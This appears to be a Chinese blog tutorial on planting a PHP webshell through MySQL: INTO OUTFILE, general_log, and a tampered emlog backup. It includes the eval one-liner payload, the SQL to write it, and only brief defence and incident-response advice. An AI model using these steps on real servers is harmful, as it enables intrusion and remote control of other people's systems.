上传图片被防火墙拦截_数据库上传WebShell的三种方式

0f4441c996f1a37a95ca001607c8ec5a.png

一、什么是WebShell?

简单的说来,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。然后黑客就可以用web的方式,通过asp或php木马后门控制网站服务器,包括上传下载文件、查看数据库、执行任意程序命令等。

为了更好理解WebShell我们学习两个概念:

什么是“木马”?

“木马”全称是“特洛伊木马(Trojan Horse)”,原指古希腊士兵藏在木马内进入敌方城市从而占领敌方城市的故事。

cbafa6c501668cb30d5afd12a825b0c6.png

在Internet上,“特洛伊木马”指一些程序设计人员在其可从网络上下载 (Download)的应用程序或游戏中,包含了可以控制用户的计算机系统的程序,可能造成用户的系统被破坏甚至瘫痪。

什么是后门?

大家都知道,一台计算机上有65535个端口,那么如果把计算机看作是一间屋子,那么这65535个端口就可以它看做是计算机为了与外界连接所开的65535 扇门。每个门的背后都是一个服务。有的门是主人特地打开迎接客人的(提供服务),有的门是主人为了出去访问客人而开设的(访问远程服务)——理论上,剩下的其他门都该是关闭着的,但偏偏由于各种原因,很多门都是开启的。于是就有好事者进入,主人的隐私被刺探,生活被打扰,甚至屋里的东西也被搞得一片狼迹。这扇悄然被开启的门——就是“后门”。

webshell的优点

webshell 最大的优点就是可以穿越防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。

二、WebShell的分类

根据文件大小分类:大马和小马(通常指的是一句话木马,能够使用菜刀这类工具去直接连接它)

根据脚本名称分类:jsp、asp、aspx、php

489727bec23e5c4d524ab0edcd0b365f.png

小马的功能比较单一,大马的功能比较丰富,集成上传下载、数据库提权、CMD命令操作、克隆、代理等功能,如下图所示。

bcf571c521ac3cb4ff8cba85445ca558.png

f455260e0ebec8698356ba78650a6fc2.png

bdcfc09fccc47d3799b7e6e9f92d20d7.png

三、利用数据库上传WebShell的三种方式

(1)into out file写入

数据库中secure_file_priv支持web目录文件导出、数据库用户File权限、获取物理路径;该参数有三种状态:

secure_file_priv=NULL;

表示写入开关关闭;

secure_file_priv="";

表示写入开关打开,且可以写入任意目录;

secure_file_priv="C:/phpStudy/PHPTutorial/WWW";

表示写入开关打开,且写入到指定的路径下,如果写入路径不是Web路径,也无法使用该功能写入WehShell。

该开关无法通过SQL命令

set global secure_file_priv="C:/phpStudy/PHPTutorial/WWW"

参数打开开关,仅能通过修改mysql.ini配置文件修改,局限性比较大。

c7422bed37aab7e811eb23ff88980d4f.png

如果开关已经打开,正确写入WebShell的SQL语句如下:

select "<?php  @eval($_POST['cmd']);?>" into outfile "C://phpStudy//PHPTutorial//WWW//shell.php"

然后利用此菜刀、蚁剑或者冰蝎链接即可

e2a8c60647f84c64656bfc5285c4e6cf.png

通过general_log日志写入

可以通过修改日志开关即可上传webshell,该方式需要数据库root权限即可,通过SQL语句即可打开general_log开关并设置日志位置(需要提前知道Web的根路径位置);

6f8e48b4721e45ab4fd99d3885dc4ab2.png

修改完毕后,通过

select "<?php  @eval($_POST['cmd']);?>"

即可写入WebShell,写入后的php文件内容如下图所示

0a3489a46b722db61ab408e31064f204.png

通过备份数据库漏洞写入

数据库备份为大多数CMS后台管理页面必备的功能,但是如果后台校验不严格,容易通过恢复备份方式上传WebShell,以下以emlog的CMS讲,测试版本5.3.0

cd40bbee90b9752d1cc441c414e07ecd.png

(3.1)查看web路径地址

直接在管理页面,点击更多信息

13ab73cf0ed03099566451bcd51d42ce.png

在出来的phpinfo页面搜索document_root即可

6a3a447f333a4f0aa6984354d103cd64.png

(3.2) 先备份数据库

利用管理页面的数据库备份功能先备份数据库

bdc1abde6b8af863af9c50ceabec7dd0.png

(3.3)修改备份文件内容

打开备份的SQL文件,在最后语句之前添加以下SQL语句

02b8cbd5e62d8a87a067b4ec30e85492.png

通过into outfile写入webshell;最后通过菜刀链接即可。

四、如何防御WebShell?

数据库应用应做好安全加固,不该开的开关尽量不要打开;同时做好数据库备份和回复的后台校验工作,平时做好日常安全防护。

aa03e86b7f86a1a10a9f00a9de48b3e6.png

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
遭遇到被上传Webshell 的情况,需要迅速采取以下应急方法: 1. 立即隔离服务器:将受感染的服务器从网络中隔离,以防止恶意操作者进一步利用 Webshell 进行攻击或数据泄露。 2. 收集证据:记录下发现的 Webshell 文件的相关信息,包括创建时间、文件路径、文件内容等。这些信息可以帮助你进行后续的调查和分析。 3. 分析漏洞原因:审查服务器日志和相关配置文件,查找可能的漏洞入口,以确定是哪个漏洞导致了 Webshell上传。这有助于修补系统漏洞,防止再次受到攻击。 4. 删除 Webshell 文件:彻底删除发现的所有 Webshell 文件,并确保清除与之相关的任何恶意代码。 5. 更新系统和应用程序:及时更新服务器操作系统和相关应用程序的补丁,以修复已知的漏洞。这可以提高系统的安全性,减少遭受攻击的风险。 6. 加强访问控制:审查服务器的访问控制策略,限制对敏感文件和目录的访问权限,同时加强对远程登录和文件上传功能的控制。 7. 密码更改与加固:重置所有受影响用户的密码,并确保新密码强度足够高。此外,使用多因素身份验证等技术进一步加固系统的访问控制。 8. 安全审计与监控:配置安全审计日志记录,监测服务器的活动并及时发现异常行为。实时监控系统,以便快速应对任何潜在的安全事件。 9. 安全加固与培训:加强服务器的安全配置,关闭不必要的服务和端口,同时提供必要的安全培训,增强员工的安全意识和技能。 请注意,这些应急方法只是应对被上传 Webshell 的初步措施,建议在处理过程中寻求专业人士的帮助,以确保系统安全性和数据完整性。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值